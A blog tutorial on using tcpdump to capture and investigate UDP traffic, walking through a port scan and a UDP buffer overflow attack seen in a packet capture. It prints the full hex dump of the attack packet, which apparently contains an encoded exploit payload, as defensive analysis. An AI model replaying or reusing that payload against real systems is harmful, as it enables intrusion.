Using tcpdump for network analysis

For this post, we are going to look at using tcpdump to investigate potentially malicious traffic and the steps required to complete an investigation. 


This blog post is based on an answer that I provided on the IT Security Stack Exchange site about analysing network traffic for malicious content. If you don't follow stack exchange, then you should. It's a fantastic resource.


So back to the blog. For me, there are three key stages required when investigating potentially malicious or rogue traffic:


Stage 1 - Traffic Capture
Stage 2 - Analysis
Stage 3 - Identification


Each can be delivered either through a very formal process or on an ad hoc basis. The end goal of the investigation would drive this requirement. For this scenario we are taking an ad hoc approach that uses tcpdump to investigate udp traffic.


The section of traffic that we are interested in comprises:

09:06:16.982995 IP 192.168.188.128.63793 > 192.168.188.1.42313: UDP, length 0

09:06:16.986062 IP 192.168.188.128.63793 > 192.168.188.1.623: UDP, length 0  09:06:16.986274 IP 192.168.188.128.63793 > 192.168.188.1.30303: UDP, length 0

10:30:36.313999 IP 192.168.188.128.50056 > 192.168.188.1.26000: UDP, length 2201

So using our three stage approach we will now investigate this further.

Stage 1 - Traffic Capture.
This stage is about using the right tools to capture the traffic.


Tool Choice: 

To do anything sensible is going to require raw packet output, so use your tool of choice (wireshark / tcpdump are two examples). Personally I would use tcpdump, and if needed, load the traffic capture into wireshark for a nice graphical view of the world.

Config: 


You will need to configure the tool to capture the entire packet - by default tcpdump only captures 68 bytes of data. 

I would also capture the hexadecimal output by using the -x flag. Doing so will allow me to examine the individual bits (very important when doing a deep dive on evil packets).

For this post we are interested in UDP traffic, so you can limit the packet capture to UDP only traffic. 

This is done by matching the value of 17 (which is for UDP) in the 9th offset of the IP header. For ease, tcpdump has an inbuilt macro that does this for you by calling the udp flag option.

Execute: 

An example command line for tcpdump would be:

tcpdump udp -s 0 -x -w /udp_traffic

This would capture the entire IP frame with hexadecimal output for UDP traffic only and write this to a file called udp_traffic.

Confirm: 

To confirm that this works you can then run:

tcpdump -r /udp_traffic 

This would give you something like:

09:06:16.982995 IP 192.168.188.128.63793 > 192.168.188.1.42313: UDP, length 0

09:06:16.986062 IP 192.168.188.128.63793 > 192.168.188.1.623: UDP, length 0  09:06:16.986274 IP 192.168.188.128.63793 > 192.168.188.1.30303: UDP, length 0

10:30:36.313999 IP 192.168.188.128.50056 > 192.168.188.1.26000: UDP, length 2201

Stage 2 - Analysis.

Two real options here, use an IDS/IPS solution and replay your traffic to see what alerts this raises and then chase down each alert to understand if it is a false-positive or not. This approach is more scientific and is based on known bad traffic. This would be quicker if the IDS/IPS has already been tuned for the network and the traffic matches known rules.

Or you can use a more gut-feel approach using your knowledge of the network and services that are running to review the traffic. This is more of an art than a science, but has advantages.

People's gut feel is something you can't programme a piece of code to replicate and, if you know your network, things will stick out.

Both approaches will result in the breakdown of traffic into the following groups.

Type of traffic:

• Breakdown by port
• Breakdown by source
• Breakdown by destination
• Breakdown by port

This will enable you to deal with large amounts of traffic in more manageable chunks and look for patterns.

In our example from earlier, we can see that the packets are all from the 192.168.188.128 network and from port 63793 and heading to 192.168.188.1 on various ports. The first three packets show classic scanning traffic, in this case an nmap scan for udp ports:

09:06:16.982995 IP 192.168.188.128.63793 > 192.168.188.1.42313: UDP, length 0

09:06:16.986062 IP 192.168.188.128.63793 > 192.168.188.1.623: UDP, length 0  09:06:16.986274 IP 192.168.188.128.63793 > 192.168.188.1.30303: UDP, length 0

Traffic content:

If we do find traffic that we don't like the look of, then we can take a look at the hexadecimal output to dissect the packet at a much deeper level. If we take

 09:42:15.206332 IP 192.168.188.128.63793 > 192.168.188.1.52503: UDP, length 0

and look at the hex output we see:

0x0000:  4500 001c 43d7 0000 2a11 5327 c0a8 bc80

0x0010:  c0a8 bc01 f931 cd17 0008 3fc1          

Points of interest would be the first offset (counting from zero), which shows 4 for IPv4. Offset nine shows 11 (remember to convert from hex to decimal) so that is protocol 17, or UDP. 

Then we have source address at offset 12 - c0a8 bc80 (192.168.188.128) and destination address at offset 16 - c0a8 bc01 (192.168.188.1). This is just a simple example, building on this we can then look deeper in to the packet.

Stage 3 - Identify and review rogue traffic.

When you have identified any specific traffic that is of interest then it is a combination of research (Google (Other search engines are available)) and deep packet analysis.

To give a feel, this type of UDP packet would give me concern and warrant further investigation:

10:30:36.313999 IP 192.168.188.128.50056 > 192.168.188.1.26000: UDP, length 2201

This is the last line in our scenario. Why does this jump out? Well, firstly the length of the packet is very large for a UDP packet. So lets take a closer look.

In hex the packet looks like this:

        0x0000:  4500 05dc 7d9c 2000 4011 dda1 c0a8 bc80

        0x0010:  c0a8 bc01 c388 6590 08a1 0c07 425a 7454

        0x0020:  3349 3665 5747 6742 4642 4177 7071 4156

        0x0030:  6c5a 7271 7975 5579 5546 6375 4b76 6c4f

        0x0040:  5762 3853 4578 6757 3766 5837 744f 7572

        0x0050:  766e 746b 4339 6c74 6f6c 6156 4264 3072

        0x0060:  566c 6739 7355 4a37 3550 3848 7a70 4d6f

        0x0070:  6f4b 6e77 7762 4b47 6c6c 4f63 3846 7372

        0x0080:  7a7a 4879 7763 6330 4c77 3172 7048 5941

        0x0090:  4177 5676 727a 6f52 4b32 566c 5a6b 5242

        0x00a0:  696b 4976 3470 547a 3467 6f74 644b 376c

        0x00b0:  3468 3443 5676 4758 4535 6857 6b41 657a

        0x00c0:  4779 7731 654d 314a 5976 7265 3974 6e41

        0x00d0:  305a 4358 6f5a 517a 4344 6378 5634 476d

        0x00e0:  7147 6979 3653 6a69 4331 486b 734f 7844

        0x00f0:  4175 6467 7858 636f 5550 386c 6332 5a6c

        0x0100:  3237 3067 5552 514b 6345 4836 7073 516f

        0x0110:  7a52 6631 315a 6365 3563 4f76 4275 4c4a

        0x0120:  6f74 5032 5057 704f 6f5a 4d58 4369 7666

        0x0130:  3847 6733 5555 5036 6e7a 4c6b 3856 4573

        0x0140:  6b59 646b 6b62 6733 5036 6c4c 534c 3248

        0x0150:  4156 3037 656b 7433 3148 6578 6968 547a

        0x0160:  436f 5635 5957 7165 6d66 4565 3563 494d

        0x0170:  6570 7947 4174 5559 4c57 5a59 6d63 3671

        0x0180:  4333 4a4e 7269 4778 5968 6b6b 4155 7a39

        0x0190:  6c53 5772 5573 5644 684f 3456 3237 5267

        0x01a0:  634a 326c 4558 6e5a 6b5a 5255 486f 6436

        0x01b0:  6878 4770 5053 4178 426a 6651 6c53 4e70

        0x01c0:  5970 646b 5539 735a 3254 737a 6964 4a46

        0x01d0:  4b4c 504e 7244 7451 7a41 4945 3233 5951

        0x01e0:  586d 4866 7a54 334c 7947 4145 5041 6a65

        0x01f0:  4850 4665 3168 7446 4639 4172 4731 526e

        0x0200:  324d 5151 4641 737a 4f53 4556 7332 5a38

        0x0210:  614d 735a 3978 444b 4565 5054 7459 5663

        0x0220:  7837 3059 3666 3871 754e 3377 7252 3659

        0x0230:  344c 586c 5232 7265 5a6f 416b 785a 6961

        0x0240:  5156 3973 3267 6279 5738 6272 7663 5463

        0x0250:  6b62 4e70 5a64 4763 4772 4262 4551 5254

        0x0260:  4757 4d76 4e51 414a 3868 5063 7267 304c

        0x0270:  4b78 784c 6b49 5563 7443 5a36 526b 745a

        0x0280:  4c4e 4c68 7175 4a54 3064 626e 4562 5157

        0x0290:  3068 4730 6e47 3650 5468 3467 4e72 4a6b

        0x02a0:  5a51 5771 4a38 5747 4453 6e64 3971 4650

        0x02b0:  4263 7358 6e46 5173 3057 5a57 6f65 7168

        0x02c0:  7a67 5859 6e74 4138 7457 3672 646b 344a

        0x02d0:  5958 5363 7231 6c6c 696e 6a38 704b 6146

        0x02e0:  786d 4f5a 6c57 4d50 4232 3459 7130 6a4d

        0x02f0:  5278 7330 3352 336f 6742 5661 3245 7879

        0x0300:  4e43 444b 4d4b 424f 7441 6a37 6e51 6238

        0x0310:  4e78 5053 6f39 5a64 3632 3879 6e54 5042

        0x0320:  7736 5258 4e42 3557 704d 6b48 7974 5050

        0x0330:  4777 4e63 3269 7672 7672 4266 697a 4c67

        0x0340:  4568 554a 4636 614b 6a56 7068 4e33 4a4c

        0x0350:  5067 7254 6a67 674c 3337 6574 5934 6836

        0x0360:  394c 354e 3261 7456 7270 4f69 6531 3452

        0x0370:  7568 6835 5374 756e 5676 6f4f 767a 6d6b

        0x0380:  6679 6846 4743 3861 3543 6538 454e 4c4c

        0x0390:  4745 7630 5247 6675 5333 3070 3576 4b62

        0x03a0:  5932 3562 6a38 4752 337a 4973 5068 3867

        0x03b0:  364a 6159 3444 7149 5372 4b63 5547 6f6e

        0x03c0:  4e36 4845 6e43 6534 4b48 5568 5639 4b47

        0x03d0:  3835 5862 5a32 6962 3157 7431 4344 3442

        0x03e0:  496e 644e 445a 6851 6870 4373 6951 5776

        0x03f0:  4438 5874 6578 4c38 4d4a 694c 3368 536c

        0x0400:  664e 3369 75b7 3f07 102d 47b3 10f8 7b04

        0x0410:  a81c 4873 7672 46b0 b823 f58d 4b13 d477

        0x0420:  6692 2ae2 2c1a d598 7c22 d624 ba3f 40b2

        0x0430:  0537 08e0 0c35 900d b7bf 4f43 85e3 3afc

        0x0440:  9671 28e1 7527 a91d 4e99 9f4a 12d1 f97e

        0x0450:  18fd b13c 3d42 9b79 7e77 7b4f 89e1 7970

        0x0460:  730b f8b5 bab8 1d3f 2584 e340 bea8 03d0

        0x0470:  c0d6 9614 b067 98b7 9942 bb97 4bb4 9bbf

        0x0480:  3bd4 88f5 4e0c 7546 3d7d 7c09 e07a 69f9

        0x0490:  2c90 7149 a92f 0415 911c 7224 9f74 7827

        0x04a0:  38d5 7637 b1b2 8ceb 6693 432d 7f02 e234

        0x04b0:  b68d 48b3 791b fc7f 3c75 35b9 7141 7447

        0x04c0:  7805 7d20 eb0d 9272 4a83 e001 e10a d2fd

        0x04d0:  734f 700d 9b7c 14b5 4390 bad3 c1f9 7630

        0x04e0:  f5be bf2d 31e3 351d 81fd 7b39 fc27 7e37

        0x04f0:  80e2 2c34 b0b1 1567 7a0c 4b98 3da8 4940

        0x0500:  bb92 b33f 0425 b71c 8d97 4741 b4f8 b8b9

        0x0510:  7705 86d6 4eb6 9193 46d4 422f a93c 6696

        0x0520:  d5b2 2499 484a 9f56 5458 3633 3057 5458

        0x0530:  3633 3856 5848 3439 4848 4850 5658 3541

        0x0540:  4151 5150 5658 3559 5959 5950 3559 5959

        0x0550:  4435 4b4b 5941 5054 5458 3633 3854 4444

        0x0560:  4e56 4444 5834 5a34 4136 3338 3631 3831

        0x0570:  3649 4949 4949 4949 4949 4949 515a 5654

        0x0580:  5833 3056 5834 4150 3041 3348 4830 4130

        0x0590:  3041 4241 4142 5441 4151 3241 4232 4242

        0x05a0:  3042 4258 5038 4143 4a4a 494b 4c4a 484c

        0x05b0:  4945 5045 5045 5045 304d 594b 5546 514e

        0x05c0:  3245 344c 4b46 3250 304c 4b46 3244 4c4c

        0x05d0:  4b51 4242 344c 4b43 4251 3844          

If we spend time de constructing the packet we will see that there is a lot of data being sent in this single UDP packet, to a high port and from a high source port. In fact, this is an example of a buffer overflow being completed over UDP. 

So as we have seen, just using a simple three stage approach we were able to understand what was going on with the scenario. There was an initial port scan for UDP services at 9am. This was then followed by a UDP based buffer overflow attack against 192.168.188 at 10:30am.